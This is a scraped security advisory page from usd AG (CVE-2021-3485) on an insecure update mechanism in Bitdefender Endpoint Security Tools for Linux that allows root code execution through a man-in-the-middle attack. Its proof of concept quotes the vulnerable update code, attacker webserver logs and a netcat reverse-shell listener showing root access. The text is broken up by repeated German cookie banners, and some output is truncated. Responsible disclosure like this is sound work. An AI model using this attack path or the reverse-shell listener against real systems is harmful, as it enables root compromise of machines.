



usd HeroL



Technisch erforderlich



Analyse und Performance



Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzklärung](#) | [Impressum](#)



## Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technisch erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analysezwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.



Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

# Linux

**Advisory ID:** usd-2021-0014

**CVE Number:** CVE-2021-3485

**Affected Product:** Bitdefender Endpoint Security Tools

**Affected Version:** < 6.2.21.155

**Vulnerability Type:** Improper Input Validation

**Security Risk:** Medium

**Vendor URL:** <https://www.bitdefender.com/>

**Vendor Status:** Fixed

## Description

The BitDefender Endpoint Security Tools Product Update uses an insecure way of performing product updates. An Attacker in a man-in-the-middle position can exploit this and gain remote code execution as root.

The vulnerable part of the application is the update mechanism called „product-update“. It uses an insecure channel to receive the content of the update.

## Proof of Concept (PoC)

The vulnerable Code is inside the `DownloadFile` function of the product-update bash script. In the following, one can see a code snippet from the file. The `RunCommand` function is a wrapper for eval assuring that the command is run as root.

```
DownloadFile ()
{
    #proxy download
    eval RunCommand 'ftp_proxy="http://$proxyHost" \
    http_proxy="http://$proxyHost" \
    https_proxy="https://$proxyHost" \
    wget --no-check-certificate ${opts} -q -T 60 --tries=2 -O "${to}" "${from}" \
    && Log append "Done." && DWL_METHOD="wget_proxy" && return 0'
    [...]
    #direct download
    eval RunCommand 'wget --no-check-certificate ${opts} -q -T 60 --tries=2 -O "${to}" "${from}" \
    && USE_PROXY="N" && DWL_METHOD="wget_direct" && Log append "Done." && return 0'
    [...]
}
```

As one can see, the file download is done using `wget` with the `--no-check-certificate` flag. In our examined test setup BitDefender used HTTP instead of HTTPS anyway.

The path to gain remote code execution is as follows:

```
[...]
DownloadFile "${setupdir}/${verfile}" "${URL}/${verfile}" || RET=1
[...]
#download new script and run it with same params
NEW_SCRIPT_URL+="/${newscrip}"

DownloadFile "${SCRIPTDIR}/${newscrip}" "${NEW_SCRIPT_URL}"
RunCommand "chmod +x \"${SCRIPTDIR}/${newscrip}\""
[...]
RunCommand "\"${SCRIPTDIR}/${newscrip}\" \"$*"
[...]
```

On the attacker Webserver this can be observed as:

```
"GET http://192.168.1.144:7074//bst_nix/latest_rings.dat HTTP/1.1" 200 -
"GET http://192.168.1.144:7074//bst_nix/latest_rings.dat HTTP/1.1" 200 -
"GET http://192.168.1.144:7074//bst_nix/latest_rings.dat HTTP/1.1" 200 -
```

When a python reverse shell is used the

```
# nc -l -p 4242 -v
Listening on [0.0.0.0] (fa
Connection from cq-1120 33
root@cq-1120:/opt/BitDefender
uid=0(root) gid=0(root) gr
```



## Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technische erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analyse- und Marketingzwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Eltern oder Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzerklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.



Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzklärung](#) | [Impressum](#)

## Fix

It is recommended to use industry provided binaries to update binaries with a manufacturer provided patch.

... for communication and signing

## Timeline

- 2021-04-07: Vulnerability identified by Ralf Almon of usd AG.
- 2021-04-07: Initial report to vendor.
- 2021-04-28: CVE-2021-3485 is assigned.
- 2021-05-05: Security release is scheduled for 19th May.
- 2021-05-19: Security release is published.
- 2021-05-24: Security advisory is published: <https://www.bitdefender.com/support/security-advisories/improper-input-validation-in-bitdefender-endpoint-security-tools-for-linux-va-9769/>.
- 2021-05-31: Security advisory released by usd AG.

## Credits

This security vulnerability was found by Ralf Almon of usd AG.

## About usd Security Advisories



In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our **CST Academy** and our **usd HeroLab** are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the **usd HeroLab** publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security.“

to usd AG

In accordance with usd AG's **Responsible Disclosure Policy**, all vendors have been notified of the existence of these vulnerabilities.

## Disclaimer

The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.

usd AG

Kontakt

Impressum

Datenschutz

AGB

© 2022 usd AG

LabNews



## Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technische erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analyse zwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.

... eines Bugs



HeroLabs



Technisch erforderlich



Analyse und Performance

Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

Security Advisories zu Apache Tor

Nov 24, 2022

